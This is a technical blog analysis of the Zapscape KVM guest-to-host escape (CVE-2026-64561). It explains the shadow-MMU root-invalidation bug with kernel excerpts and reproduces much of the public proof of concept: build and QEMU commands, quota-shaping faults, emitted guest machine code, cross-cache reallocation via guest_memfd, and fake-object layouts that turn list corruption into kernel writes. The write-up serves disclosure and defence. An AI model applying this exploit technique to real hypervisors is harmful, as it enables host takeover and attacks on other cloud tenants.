Zapscape: A Technical Deep-dive of the CVE-2026-64561 KVM Guest-to-Host Escape

The CyberSec Guru

Updated on:

CVE-2026-64561

If you like this post, then please share it:

Buy me A Coffee!

Support The CyberSec Guru’s Mission

🔐 Fuel the cybersecurity crusade by buying me a coffee! Why your support matters: Zero paywalls: Keep the main content 100% free for learners worldwide.

“Your coffee keeps the servers running and the knowledge flowing in our fight against cybercrime.”☕ Support My Work

Buy Me a Coffee Button

Zapscape, tracked as CVE-2026-64561, is a guest-to-host escape vulnerability in the Linux kernel’s KVM x86 virtualization subsystem. It was discovered, reported, and publicly documented by security researcher Hyunwoo Kim, known as @v4bel. The flaw allows a guest operating system to corrupt the host kernel and execute code with full kernel privilege on the host. In practical terms, an attacker who controls a virtual machine on a KVM-based x86 cloud host may be able to break out of that virtual machine, attack the physical host kernel, deny service to other tenants, or take over the entire machine. The vulnerability is especially dangerous on public clouds and private virtualization platforms that expose nested virtualization to untrusted guests, because the exploit path depends on KVM’s shadow MMU emulation for nested EPT or NPT page tables.

The public proof of concept targets AMD nested SVM with NPT, but the underlying bug is in the shared shadow MMU logic used by KVM on x86. On Intel, the bug is not automatically reachable in every nested virtualization configuration. The attacker must be able to expose both four-level and five-level EPT page-walk lengths to the L1 guest. On AMD, the public demonstration does not require an equivalent special constraint. The vulnerability was fixed in commit 2abd5287f083, and the affected range spans from commit f95eec9bed76, dated July 8, 2020, through the patch commit dated July 21, 2026. The issue is separate from the earlier Januscape vulnerability, CVE-2026-53359, although both affect the same broad shadow MMU area and both can be used for guest-to-host escape under the right conditions.

Zapscape
Zapscape

Threat Model and Practical Impact

The primary threat model for Zapscape is an attacker who has root or kernel-level code execution inside a guest virtual machine. On a normal single-tenant workstation, that may sound like a limited scenario, because an attacker who already controls the guest has already compromised that guest. The situation changes completely in a multi-tenant cloud or hosting environment. When a customer rents a virtual machine, the customer normally receives root inside that virtual machine. If the host exposes nested virtualization, that guest root can be used to create a nested VM and interact with KVM’s nested shadow paging machinery. From there, Zapscape can be used to attack the host kernel itself.

Once the host kernel is compromised, the attacker can do anything the host kernel can do. The attacker can read and write host memory, access the memory of other guests, install persistent implants, interfere with storage or networking, disable security mechanisms, or crash the host. The researcher explicitly notes that even a denial-of-service outcome is serious: a tenant who rents a single instance could panic the host kernel and take down every other tenant VM running on the same physical machine. If the exploit is used for code execution rather than denial of service, the attacker gains root on the host and can take over all guests scheduled on that host.

There is also a local privilege escalation angle on some Linux systems. On distributions where /dev/kvm is world-writable, such as some RHEL-style configurations, an unprivileged local user can open /dev/kvm and construct a malicious virtual machine. In that scenario, Zapscape can be used without first compromising a guest VM in the ordinary cloud sense. The local user becomes the attacker-controlled L1 environment. The researcher also notes that if an attacker does not already have root inside the guest, Zapscape would need to be chained with a guest-local privilege escalation bug. The public writeup mentions Dirty Frag as one possible example of such a chain, but the Zapscape exploit itself assumes kernel privilege inside L1.

Public Proof-of-Concept Architecture

The public proof of concept is not a one-click cloud exploit. It is a demonstration exploit chain that reproduces the vulnerability and escalates it to host kernel code execution in a controlled environment. The recommended test environment uses QEMU TCG rather than real hardware, which makes the demonstration safer and easier to inspect. The PoC targets AMD SVM with NPT and uses Linux 7.1.3 as the vulnerable L0 kernel. The overall structure consists of three logical layers.

The outer layer, L0, is the vulnerable Linux kernel running KVM. In the demonstration, this kernel is emulated by QEMU TCG on an x86-64 CPU with AMD SVM and NPT semantics. Inside L0, the PoC creates the first guest, L1. L1 is the attacker-controlled guest. It builds the nested environment, aliases a shadow page as both a child and a pinned root, and eventually escalates the use-after-free into L0 kernel code execution. Inside L1, the PoC issues VMRUN and creates L2. Memory accesses from L2 trigger L0’s MMU quota reclaim path, which recursively zaps shadow pages and reaches the vulnerable condition where a root page is invalidated while the page-fault path still believes it can continue using it.

The PoC is compiled inside the guest environment and placed into an initramfs. The vulnerable kernel is built from the Linux 7.1.3 source tree using the bundled kconfig. The build command for the PoC is straightforward:

# gcc -O2 -g -static -pthread poc.c -o poc

The vulnerable target is booted with a helper script:

# ./qemu.sh bzImage initramfs.cpio.gz

The writeup recommends QEMU v9.2.0 or later for testing. When the exploit succeeds, it escapes from the guest and creates a file named /Zapscape on the host. The file is owned by root and has mode 0644. The demonstration output shows an unprivileged guest user, with uid 65534, verifying the host-side file after escape:

📬 Stay Ahead of Cyber Threats

Get the latest cybersecurity news, critical vulnerabilities, threat intelligence, tutorials, and exclusive giveaways delivered straight to your inbox. No spam. Unsubscribe anytime.

Subscribe to the Newsletter →
zapscape(uid=65534)$ ls -la /Zapscape
-rw-r--r-- 1 root root 0 Jul 29 05:27 /Zapscape

This file creation is not the important part by itself. It is a clean, observable proof that the guest forced the host kernel to execute a controlled path with full kernel credentials. In a real attack, the same primitive could be used to overwrite credentials, disable security modules, load code, manipulate files, or pivot into other guests.

Why Nested Virtualization Reaches the Shadow MMU

To understand Zapscape, one must understand why KVM uses shadow pages for nested guests. In ordinary non-nested virtualization, KVM can rely on Intel EPT or AMD NPT to translate guest physical addresses into host physical addresses. The processor’s MMU virtualization extensions handle the second stage of translation, and KVM mostly manages the mappings through hardware-assisted page tables.

Nested virtualization breaks that simple model. If L0 runs L1, and L1 tries to run L2, there are now multiple guest-controlled translation layers. L1 believes it is managing hardware page tables for L2, but from L0’s perspective, those tables are just guest memory. L0 cannot always let the hardware directly express the full nested translation in one clean stage, so KVM uses the legacy shadow MMU to track and emulate the nested EPT or NPT structures constructed by L1. This shadow MMU code is old, complex, and performance-sensitive. It has to track roles, roots, parents, quotas, invalidations, and race conditions while holding the KVM MMU lock.

Each shadow page is represented by struct kvm_mmu_page. The structure contains a list link for active MMU pages, a hash link for shadow page lookup, role metadata, the guest frame number, pointers to the shadow page table and shadowed translation, root reference counts, parent SPTE tracking, and other state. The following fields are central to Zapscape:

struct kvm_mmu_page {
struct list_head link;
struct hlist_node hash_link;
bool tdp_mmu_page;
bool unsync;
union {
u8 mmu_valid_gen;
bool tdp_mmu_scheduled_root_to_zap;
};
bool nx_huge_page_disallowed;
union kvm_mmu_page_role role;
gfn_t gfn;
u64 *spt;
u64 *shadowed_translation;
union {
int root_count;
refcount_t tdp_mmu_root_count;
};
bool has_mapped_host_mmio;
union {
struct kvm_rmap_head parent_ptes;
tdp_ptep_t ptep;
};
DECLARE_BITMAP(unsync_child_bitmap, 512);
struct list_head possible_nx_huge_page_link;
#ifdef CONFIG_X86_64
struct rcu_head rcu_head;
#endif
};

The link field attaches the shadow page header to the VM’s active_mmu_pages list. The role field contains metadata such as page-table level, direct versus shadowed mapping, guest mode, access permissions, quadrant information, and the invalid bit. Together with the GFN, the role is used as a lookup key for existing shadow pages. The root_count field tracks how many active roots refer to this shadow page. The parent_ptes field tracks parent SPTEs, which is important when KVM decides whether a nested child can be recursively zapped after its parent disappears.

KVM also limits the number of shadow pages a VM may hold. This quota prevents a malicious or buggy guest from exhausting host memory by forcing KVM to create endless shadow pages. When KVM needs more shadow pages, it calls make_mmu_pages_available(). That function checks whether the VM has enough free MMU pages and, if not, zaps old pages from the active list. Zapscape lives in the interaction between this quota reclaim path and the page-fault path that assumes the current root is still valid.

The Core Bug: Stale Check Before Quota Reclaim

The vulnerable page-fault path begins by taking the MMU lock, checking whether the current root is stale, and then securing the shadow page quota. In the vulnerable code, the order looks like this:

	[...]
	r = RET_PF_RETRY;
	write_lock(&vcpu->kvm->mmu_lock);

	if (is_page_fault_stale(vcpu, fault))
		goto out_unlock;

	r = make_mmu_pages_available(vcpu);
	if (r)
		goto out_unlock;
	r = FNAME(fetch)(vcpu, fault, &walker);

out_unlock:
	kvm_mmu_finish_page_fault(vcpu, fault, r);
	write_unlock(&vcpu->kvm->mmu_lock);
	return r;

The stale check only validates the root as it existed when the fault handling reached that point. The quota reclaim that follows can change the world underneath the fault handler. Specifically, make_mmu_pages_available() can zap shadow pages, and during that reclaim, the current root can become invalid. After quota reclaim returns, the code does not re-check the root. It continues into FNAME(fetch) and keeps building mappings under a root that may already be obsolete.

The quota reclaim function itself is deliberately approximate. It tries to ensure that at least one page is available, but it does not guarantee an exact accounting for every possible allocation path:

static int make_mmu_pages_available(struct kvm_vcpu *vcpu)
{
unsigned long avail = kvm_mmu_available_pages(vcpu->kvm);
if (likely(avail >= KVM_MIN_FREE_MMU_PAGES))
return 0;
kvm_mmu_zap_oldest_mmu_pages(vcpu->kvm, KVM_REFILL_PAGES - avail);
/*
* Note, this check is intentionally soft, it only guarantees that one
* page is available, while the caller may end up allocating as many as
* four pages, e.g. for PAE roots or for 5-level paging. Temporarily
* exceeding the (arbitrary by default) limit will not harm the host,
* being too aggressive may unnecessarily kill the guest, and getting an
* exact count is far more trouble than it's worth, especially in the
* page fault paths.
*/
if (!kvm_mmu_available_pages(vcpu->kvm))
return -ENOSPC;
return 0;
}

The top-level quota walker tries to avoid zapping active roots. It walks the active list in reverse and skips pages whose root_count is nonzero:

	[...]
restart:
	list_for_each_entry_safe_reverse(sp, tmp, &kvm->arch.active_mmu_pages, link) {
		[...]
		if (sp->root_count)
			continue;

		unstable = __kvm_mmu_prepare_zap_page(kvm, sp, &invalid_list,
						      &nr_zapped);
		[...]
		total_zapped += nr_zapped;
		if (total_zapped >= nr_to_zap)
			break;

		if (unstable)
			goto restart;
	}
	[...]

That check is not enough, because the recursive child-zap path does not apply the same guard. When KVM removes a parent SPTE, it may recursively prepare a nested child for zapping if the child is in guest mode and no longer has parent SPTEs:

			[...]
			if (tdp_enabled && invalid_list &&
			    child->role.guest_mode &&
			    !atomic_long_read(&child->parent_ptes.val))
				return kvm_mmu_prepare_zap_page(kvm, child,
								invalid_list);
			[...]

This recursive path looks at the child’s parent relationship, but it does not check whether the child is also an active root. That omission is the heart of the vulnerability. If a single kvm_mmu_page object is simultaneously a child of one nested paging structure and a root of another nested paging structure, quota reclaim can reach it recursively through its parent even though the top-level walker would have skipped it as a root.

Invalidating a Root That Is Still In Use

When __kvm_mmu_prepare_zap_page() prepares a shadow page for zapping, it behaves differently depending on whether the page still has root references. For a non-root page, the page is moved to the invalid list and accounted out of the MMU. For a root page, the page is removed from the active list but not immediately freed, because root references still exist:

	[...]
	if (!sp->root_count) {
		(*nr_zapped)++;
		if (sp->role.invalid)
			list_add(&sp->link, invalid_list);
		else
			list_move(&sp->link, invalid_list);
		kvm_unaccount_mmu_page(kvm, sp);
	} else {
		list_del(&sp->link);
		zapped_root = !is_obsolete_sp(kvm, sp);
	}

	[...]
	if (sp->nx_huge_page_disallowed)
		unaccount_nx_huge_page(kvm, sp);

	sp->role.invalid = 1;
	[...]

This creates a subtle intermediate state. The aliased page, called X in the researcher’s writeup, is removed from the active list and marked invalid, but it is not freed immediately because it still has a root reference. At this point, the bug is not yet a direct use-after-free of X. The deeper problem is that the page-fault handler already passed its stale check before quota reclaim invalidated X. The handler continues to use X as though it were still a valid root.

During the continued fetch, KVM may allocate a new child shadow page under X. The role of a new child is derived from the parent role:

static union kvm_mmu_page_role kvm_mmu_child_role(u64 *sptep, bool direct,
unsigned int access)
{
struct kvm_mmu_page *parent_sp = sptep_to_sp(sptep);
union kvm_mmu_page_role role;
role = parent_sp->role;
role.level--;
role.access = access;
role.direct = direct;
role.passthrough = 0;
[...]
}

This function copies the parent role and adjusts only selected fields. It does not clear the invalid bit. Therefore, if X has already been marked invalid, the new child, called C, inherits that invalid role. The allocation path then inserts C into the active MMU page list without checking whether the inherited role is invalid:

	[...]
	sp->mmu_valid_gen = kvm->arch.mmu_valid_gen;
	list_add(&sp->link, &kvm->arch.active_mmu_pages);
	kvm_account_mmu_page(kvm, sp);

	sp->gfn = gfn;
	sp->role = role;
	hlist_add_head(&sp->hash_link, sp_list);
	[...]

C is now on the active list even though its role says invalid. Later, when C is prepared for zapping in a rootless state, the code sees that C is already invalid and uses list_add() to attach C’s link to the invalid list. The problem is that C’s link may still be attached to the active list. The kernel list infrastructure is not designed for the same list_head to belong to two lists at once. This creates a corrupted list state, a dangling active-list reference, and eventually a post-free write when another shadow page is inserted near the stale link.

Intel and AMD Trigger Conditions

The public exploit demonstrates the vulnerability on AMD, but the root cause is not AMD-specific. The shared shadow MMU logic is used for nested paging on both Intel and AMD. The difference lies in how easily the attacker can create the aliased shadow page that acts as both child and root.

On AMD, the PoC uses a four-level NPT environment. It overlaps a level-2 child created under a long-mode NPT with a level-2 root used by a PAE NPT that shares the same GFN. Once the roles match, mmu_alloc_root() finds the existing shadow page and increments its root count:

static hpa_t mmu_alloc_root(struct kvm_vcpu *vcpu, gfn_t gfn, int quadrant,
u8 level)
{
union kvm_mmu_page_role role = vcpu->arch.mmu->root_role;
struct kvm_mmu_page *sp;
role.level = level;
role.quadrant = quadrant;
WARN_ON_ONCE(quadrant && !role.has_4_byte_gpte);
WARN_ON_ONCE(role.direct && role.has_4_byte_gpte);
sp = kvm_mmu_get_shadow_page(vcpu, gfn, role);
++sp->root_count;
return __pa(sp->spt);
}

If the lookup finds X, which was previously created as a child, the same header becomes a pinned root. This is exactly the aliasing condition needed to make the recursive zap path dangerous.

On Intel, the situation is more constrained. The vulnerability does not simply require ordinary five-level linear paging or LA57. The relevant condition is the EPT page-walk length that L1 can use for L2. KVM builds the nested EPT capability exposed to L1 by including both four-level and five-level EPT page-walk bits and then intersecting them with the actual hardware capability:

		[...]
		msrs->ept_caps =
			VMX_EPT_PAGE_WALK_4_BIT |
			VMX_EPT_PAGE_WALK_5_BIT |
			VMX_EPTP_WB_BIT |
			VMX_EPT_INVEPT_BIT |
			VMX_EPT_EXECUTE_ONLY_BIT |
			VMX_EPT_ADVANCED_VMEXIT_INFO_BIT;

		msrs->ept_caps &= ept_caps;
		[...]

The EPTP value supplied by L1 is validated against the exposed page-walk lengths:

	[...]
	switch (new_eptp & VMX_EPTP_PWL_MASK) {
	case VMX_EPTP_PWL_5:
		if (CC(!(vmx->nested.msrs.ept_caps & VMX_EPT_PAGE_WALK_5_BIT)))
			return false;
		break;
	case VMX_EPTP_PWL_4:
		if (CC(!(vmx->nested.msrs.ept_caps & VMX_EPT_PAGE_WALK_4_BIT)))
			return false;
		break;
	default:
		return false;
	}
	[...]

To create the dangerous alias on Intel, both four-level and five-level EPT page walks must be visible to L1. L1 first creates a level-4 child under a five-level EPT root. It then reuses the same GFN as a four-level EPT root. If the A/D settings and the resulting page roles are aligned, KVM’s shadow page hash lookup can reuse the level-4 child of the five-level EPT as the level-4 root of the four-level EPT, raising root_count. With only four-level EPT, the child under that root would be level 3, which cannot be reused as a valid EPT root. With only five-level EPT, the attacker cannot construct the necessary four-level root alias. Therefore, the exact Intel condition is that nested VMX and EPT are enabled on L0, and that both EPT page-walk length 4 and 5 are exposed to L1, and that L1 actually constructs the alias.

Exploit Setup: Guest-Controlled VM Construction

The public exploit is notable because the host-side userspace VMM does almost nothing after the initial VM setup. An unprivileged process inside the vulnerable Linux 7.1.3 guest acts as a minimal VMM and creates a VM through /dev/kvm. It prepares memory, vCPUs, irqchip, and x2APIC before the first KVM_RUN. After that, the exploit is driven primarily by guest code and the KVM faults that guest code induces.

The parent process creates a pipe and a child process. The parent does not own the KVM file descriptor. It simply waits for a one-byte success indicator from the child. The child owns the VM and the two vCPUs. The child configures a 518 MiB guest_memfd with GUEST_MEMFD_FLAG_MMAP and GUEST_MEMFD_FLAG_INIT_SHARED, a MAP_SHARED userspace mapping, a guest_memfd memslot, and a 4 KiB anonymous read-only memslot for the reset vector. vCPU0 is the BSP, and vCPU1 is the AP. The KVM irqchip and x2APIC are enabled.

The guest code and page-table images are written into the guest_memfd before the memslot is registered and before the first KVM_RUN. The VMM does not use ioctls to modify general-purpose registers, control registers, MSRs, or MP state of a running guest. The BSP starts at the architectural reset vector and switches directly from real mode to long mode. It then starts the AP by writing INIT, INIT deassert, and two SIPIs to the x2APIC ICR. The AP also enters long mode through guest code. The two vCPU threads and the main thread synchronize through a three-party barrier. After the barrier, the vCPU threads mostly re-enter KVM_RUN and check final termination I/O. They do not watch guest state bytes to select exploit steps, and they do not modify guest RAM during the exploit.

Quota Shaping and the Trigger Fault

The exploit carefully controls the number of shadow pages and the order in which faults consume and return MMU header cache objects. The guest memory size and KVM quota calculation are fixed in the PoC:

enum { [...], MEMMB = 518 };
size_t MEMSZ = (size_t)MEMMB * 1024 * 1024;
unsigned long quota =
((unsigned long)(MEMSZ / 0x1000u) + 1ul) / 50ul;

With a 518 MiB memslot and the extra reset-vector page, this calculation produces a quota of 2652 pages. The exploit uses this value for its own verification and to match KVM’s automatic shadow page quota. The L2 code fills the quota by touching a carefully chosen sequence of addresses at 2 MiB intervals: 56, then 512, then 512, then 511 addresses. The trigger phase then touches 57 addresses and reads the next region one more time after incrementing EBX. The relevant emitted instruction is:

static void emit_l2_phase_b(void)
{
uint8_t *l = M + L2_CODE + 0x400;
[...]
emit_touch_loop(&l, 57);
*l++ = 0x8b;
*l++ = 0x03;
[...]
}

The bytes 0x8b 0x03 encode mov eax, [ebx]. This is the vulnerable fault. It occurs at the point where quota reclaim is forced to run, invalidating X while the fault handler is still in progress. The earlier touches are not random. They fault different NPT leaves and fill shadow pages up to the quota boundary. The guest also changes NPT entries and paging mode between phases, so the allocation order is not the same as simply raising the same number of identical faults at once.

The order that creates the pinned root X is precise. First, the exploit creates a level-2 child X under an upper page of the long-mode NPT. Second, it makes the PAE NPT root use the same GFN, level, access, and guest-mode role as X. Third, mmu_alloc_root() finds X instead of allocating a new header and increments root_count. Fourth, the quota walker skips X directly because it is a root, but after selecting X’s parent, it recursively prepares X through the child-zap path. Fifth, X is detached from the active list and marked invalid, but not freed because it still has a root reference. Sixth, the same page fault has already passed the stale check, so the fetch path continues under invalid X and inserts invalid child C into the active list.

PAE Roots, CR0 Toggling, and Write Flooding

The PoC fixes the number of PAE roots at three at compile time. This prevents a fourth root from disturbing the precise header-cache consumption order:

#define PHASE_B_PAE_ROOTS 3u
_Static_assert(
PHASE_B_PAE_ROOTS == 3u,
[...]);

The exploit uses a helper to select the page-directory GFNs:

static uint32_t npt_pd_addr(unsigned int i)
{
return i ? NPT_PD_MORE + (i - 1) * 0x1000u : NPT_PD;
}

It then changes the AP’s CR0 value in a way that toggles both WP and AM:

*q++ = 0xb8;
*(uint32_t *)q = 0x80050011u;
q += 4;
*q++ = 0x0f;
*q++ = 0x22;
*q++ = 0xc0;

The change from 0x80000011 to 0x80050011 avoids a KVM special case that applies when only WP changes. It forces the MMU unload and reset path needed by the exploit. After that, the exploit writes one byte three times to each of three raw page directories:

uint8_t *same_cpu_root_flood = q;
for (unsigned int pd = 0; pd < PHASE_B_PAE_ROOTS; pd++)
for (unsigned int write = 0; write < 3u; write++)
emit32_store8_imm(&q, npt_pd_addr(pd) + 0xff8u, 0);

The target offsets correspond to 8-byte-aligned PTE areas inside the page directories. These stores trigger KVM’s write-flooding logic:

static bool detect_write_flooding(struct kvm_mmu_page *sp)
{
if (sp->role.level == PG_LEVEL_4K)
return false;
atomic_inc(&sp->write_flooding_count);
return atomic_read(&sp->write_flooding_count) >= 3;
}

The third store to each non-leaf page directory causes a prepare operation. In total, nine stores clean up the three roots and their descendants on the same trigger vCPU. This fixes the order in which the target slab object is returned to the allocator, which is essential for the later cross-cache steps.

The invalid child C is eventually freed in two stages. Because C is on the active list with an inherited invalid role, a rootless prepare operation adds it to the invalid list using list_add(). The commit path then walks the invalid list and frees the shadow page headers:

static void kvm_mmu_commit_zap_page(struct kvm *kvm,
struct list_head *invalid_list)
{
struct kvm_mmu_page *sp, *nsp;
[...]
list_for_each_entry_safe(sp, nsp, invalid_list, link) {
WARN_ON_ONCE(!sp->role.invalid || sp->root_count);
kvm_mmu_free_shadow_page(sp);
}
}
static void kvm_mmu_free_shadow_page(struct kvm_mmu_page *sp)
{
kvm_mmu_check_sptes_at_free(sp);
hlist_del(&sp->hash_link);
list_del(&sp->link);
free_page((unsigned long)sp->spt);
free_page((unsigned long)sp->shadowed_translation);
kmem_cache_free(mmu_page_header_cache, sp);
}

The final kmem_cache_free() returns the 184-byte header to the kvm_mmu_page_header cache. The problem is that when C was added to the invalid list, its neighbors on the active list were not properly updated. After C is freed, the active list head or a predecessor can still point to C’s link. When the next shadow page is inserted at the front of the active list, the standard __list_add() routine dereferences that stale link:

static inline void __list_add(struct list_head *new,
struct list_head *prev,
struct list_head *next)
{
if (!__list_add_valid(new, prev, next))
return;
next->prev = new;
new->next = next;
new->prev = prev;
WRITE_ONCE(prev->next, new);
}

If next points to the freed C, the kernel virtual address of the new shadow page header is written to C.link.prev, which is offset 8 inside C. Once the first cross-cache reallocation succeeds, this eight-byte write appears inside a page that the guest can read. This is the moment when a kernel list-corruption condition becomes an information leak and a controlled write primitive.

Cross-Cache Reallocation Using guest_memfd

The exploit performs cross-cache reallocation in a guest_memfd-based KVM memory environment. The researcher notes that this environment gives high stability. In anonymous mapping or ordinary memfd environments, the exploit would need a more complex and less stable strategy to reallocate an UNMOVABLE page as a MOVABLE page. The public PoC therefore uses guest_memfd to make the freed slab page reusable by a guest-visible folio.

The exploit divides the guest fault ranges into Stage 1 and Stage 2:

#define SPRAY_START 0x1000000u
#define SPRAY1_END 0x04000000u
#define SPRAY2_START SPRAY1_END
#define SPRAY2_END 0x10000000u

Stage 1 covers the range from 0x01000000 to 0x04000000, while Stage 2 covers 0x04000000 to 0x10000000. The two ranges do not overlap. Guest code and the initial NPT image are placed outside these spray ranges. Userspace does not prefault all of Stage 1 and Stage 2 ahead of time. Instead, the BSP performs a sparse prefault loop that touches one 4 KiB page every 2 MiB:

#define SPARSE_PREFAULT_END 0x1fc00000u
e8(&t, 0xb8);
e32(&t, SPRAY_START);
uint8_t *prefault_loop = t;
[...]
e32(&t, 0x200000);
[...]
e32(&t, SPARSE_PREFAULT_END);

This sparse prefault prepares the page allocator state without fully populating the spray ranges. After the slab page containing C is returned to the buddy allocator, dense Stage 1 faults at 4 KiB intervals attempt to reuse that PFN as a guest_memfd folio. KVM’s gmem fault path creates the folio using FGP_CREAT:

static struct folio *kvm_gmem_get_folio(struct inode *inode, pgoff_t index)
{
struct mempolicy *policy;
struct folio *folio;
[...]
folio = __filemap_get_folio_mpol(inode->i_mapping, index,
FGP_LOCK | FGP_CREAT,
mapping_gfp_mask(inode->i_mapping),
policy);
[...]
return folio;
}

The FGP_CREAT flag causes a new folio to be allocated from the page allocator if it does not already exist. If that allocation receives the PFN that was just returned by the emptied slab, the former MMU header slab page becomes a guest_memfd page. KVM clears the new folio before giving it to the guest:

int kvm_gmem_get_pfn(struct kvm *kvm, struct kvm_memory_slot *slot,
gfn_t gfn, kvm_pfn_t *pfn, struct page **page,
int *max_order)
{
[...]
folio = __kvm_gmem_get_pfn(file, slot, index, pfn, max_order);
if (IS_ERR(folio))
return PTR_ERR(folio);
if (!folio_test_uptodate(folio)) {
clear_highpage(folio_page(folio, 0));
folio_mark_uptodate(folio);
}
[...]
}

Because the page is cleared, the exploit does not rely on stale slab data surviving the free. It relies on the page itself being reused. The pointers it needs are written after reallocation by the kernel’s list operations. If the target PFN is not reused, the guest’s candidate search stops execution.

Locating the Freed Object and the Active List

After Stage 1 captures the target PFN and the kernel writes the new shadow page header address into the dangling C structure, guest code scans the range for candidates. The scanner does not simply look for any kernel-looking pointer. It applies several strict filters. It checks that the high dword of the pointer lies inside the direct-map range, re-reads the value atomically with LOCK CMPXCHG8B, verifies alignment, divides by the 184-byte header size, and confirms that both the new header slot and the derived C slot align with the 22 object positions in a slab page.

The emitted scanner includes range checks:

static void emit_guest_scanner(uint8_t *p1_hook)
{
uint8_t *p = M + G1_RELOC_CODE;
[...]
e32(&p, KASLR_ARENA_HI_MIN);
below_direct_map[0] = emit_rel32_jcc(&p, 0x82);
[...]
e32(&p, KASLR_ARENA_HI_END);
past_direct_map[0] = emit_rel32_jcc(&p, 0x83);
[...]

It also verifies the object size and slab layout:

	e8(&p, 0xf0);
	e8(&p, 0x0f);
	e8(&p, 0xc7);
	e8(&p, 0x0e);
	[...]
	e32(&p, MMU_HEADER_SIZE);
	e8(&p, 0xf7);
	e8(&p, 0xf3);
	[...]
	e8(&p, MMU_HEADERS_PER_SLAB - 1u);
	[...]

A later check ensures that exactly one candidate satisfies all conditions:

	e8(&p, 0x83);
	e8(&p, 0xfd);
	e8(&p, 0x01);
	bad_count = emit_rel32_jcc(&p, 0x85);
	[...]

If the exploit finds more than one candidate, or none, it stops. This strictness is necessary because an incorrect candidate would cause later kernel writes to land in the wrong place and crash the host. During code generation, the PoC records relocation entries for every absolute address computed from an expected C base address:

append_c_reloc((uint32_t)(p - M));

The PoC requires exactly 441 such relocations:

if (expected_c_relocs != 441u) {
[...]
}

When the actual C address differs from the build-time expectation, guest code applies the delta to every recorded relocation. This lets the exploit continue without the host userspace modifying the guest code after execution begins. The first reuse step uses C’s list relationships to obtain the active_mmu_pages head. That list head address later becomes the anchor for computing the base of struct kvm and related fields.

Second Cross-Cache and the N Page

The exploit needs more than one reused page. Stage 1 finds the location of freed C and leaks the active list address. Stage 2 secures a separate 4 KiB page, called N, where the guest places fake objects, verification values, and the final payload. To prepare the second cross-cache, the exploit performs another controlled sequence of header allocations, prepares, and frees. It uses state bytes exchanged between the BSP and AP to ensure that the operations happen in the intended order.

The code emits wait loops that poll shared bytes and then prepare pages:

uint8_t *wait_conveyor_p = t;
e8(&t, 0x80);
e8(&t, 0x3c);
e8(&t, 0x25);
e32(&t, SPRAY_ARM + 35);
e8(&t, 'P');
e8(&t, 0x74);
e8(&t, 0x04);
e8(&t, 0xf3);
e8(&t, 0x90);
e8(&t, 0xeb);
e8(&t, (uint8_t)(wait_conveyor_p - (t + 1)));
emit64_flood_prepare_page(&t, NPT_PD);
[...]
uint8_t *wait_conveyor_bc = t;
e8(&t, 0x80);
e8(&t, 0x3c);
e8(&t, 0x25);
e32(&t, SPRAY_ARM + 38);
e8(&t, 'B');
e8(&t, 0x74);
e8(&t, 0x04);
e8(&t, 0xf3);
e8(&t, 0x90);
e8(&t, 0xeb);
e8(&t, (uint8_t)(wait_conveyor_bc - (t + 1)));
emit64_flood_prepare_page(&t, NPT_PD);
emit64_flood_prepare_page(&t, npt_pd_addr(1));
[...]
emit64_flood_prepare_page(&t, H_NPT_PD0);
emit64_flood_prepare_page(&t, H_NPT_PD1);
[...]
emit64_flood_prepare_page(&t, npt_pd_addr(2));

After this synchronization and cache shaping, the exploit faults Stage 2:

e8(&t, 0xb8);
e32(&t, SPRAY2_START);
uint8_t *stage2_loop = t;
[...]
e32(&t, 0x1000);
[...]
e32(&t, SPRAY2_END);

Each 4 KiB Stage 2 page receives an initial sentinel value in its first qword. The PoC defines the sentinel and the expected replacement value:

#define POC_Q1_SENTINEL UINT64_C(0x000ffffffffff001)
#define POC_Q1_REPLACEMENT UINT64_C(0x8000000000000000)

The guest writes the sentinel to the first qword of each Stage 2 page:

e8(&p, 0xc7);
e8(&p, 0x00);
e32(&p, (uint32_t)POC_Q1_SENTINEL);
e8(&p, 0xc7);
e8(&p, 0x40);
e8(&p, 0x04);
e32(&p, (uint32_t)(POC_Q1_SENTINEL >> 32));

The code that identifies N accepts only the sentinel or the expected replacement through atomic compare-and-exchange logic. It also requires exactly one page to have changed:

e8(&p, 0x83);
e8(&p, 0xfd);
e8(&p, 0x01);
bad[nbad++] = emit_rel32_jcc(&p, 0x85);

Once the N candidate is found, the exploit stores its GPA and later compares it against values obtained from subsequent pointer-write steps:

e8(&p, 0x89);
e8(&p, 0x3d);
e32(&p, KS_N_GPA);
e8(&p, 0x3b);
e8(&p, 0x3d);
e32(&p, POC_Q1_N_GPA);
uint8_t *match_bad = emit_rel32_jcc(&p, 0x85);

This redundancy prevents the exploit from trusting a page that only appeared correct by coincidence. Each following step reads the expected qword from N, restores it to zero, and verifies that Stage 2 is clean before moving on.

Turning List Corruption Into Controlled Pointer Writes

After C can be rebuilt inside a guest-controlled page, the exploit uses the possible_nx_huge_page_link field as a manipulated list head. The kernel’s list deletion primitive performs two writes:

static inline void __list_del(struct list_head *prev,
struct list_head *next)
{
next->prev = prev;
WRITE_ONCE(prev->next, next);
}

If the attacker places chosen addresses into the manipulated next and prev fields, the first write stores the prev value at offset 8 of the address pointed to by next, and the second write stores the next value at the address pointed to by prev. The exploit uses these paired writes to fill list pointers and kernel fields needed for later steps.

Before each reuse step, guest code builds a fake C object. The emitted function writes fields at fixed offsets from the target C base:

static void emit32_arm_fake_c(uint8_t **pp, uint32_t a_lo, uint32_t a_hi,
int32_t a_delta, uint32_t b_lo, uint32_t b_hi,
int32_t b_delta, uint8_t pass)
{
uint8_t *p = *pp;
[...]
emit32_store_imm(&p, TARGET_C_BASE + 36u,
TARGET_ROLE_INVALID_DIRECT_L1);
[...]
emit32_store_ptr_delta(&p, TARGET_C_BASE + 48u,
SAFE_SPT_HVA_LO, SAFE_SPT_HVA_HI, 0);
[...]
emit32_store_imm(&p, TARGET_C_BASE + 64u, 0);
[...]
emit32_store_ptr_delta(&p, TARGET_C_BASE + 80u,
G1_MARKER + 64u, G1_MARKER + 68u, -92);
[...]
emit32_store_ptr_delta(&p, TARGET_C_BASE + 152u,
a_lo, a_hi, a_delta);
emit32_store_ptr_delta(&p, TARGET_C_BASE + 160u,
b_lo, b_hi, b_delta);
[...]
}

The final two pointer writes are controlled by the values stored at C+152 and C+160. C is given an invalid direct level-1 role. The exploit uses the kernel address read from C+8, rounded down to a 4 KiB boundary, as a safe spt value. The root_count field is initially zero, but parent_ptes points at C+60. When KVM clears the parent SPTE with SHADOW_NONPRESENT_VALUE, which is BIT_ULL(63), the high dword overlapping C+64 becomes 0x80000000. This causes KVM to take the root handling path when required.

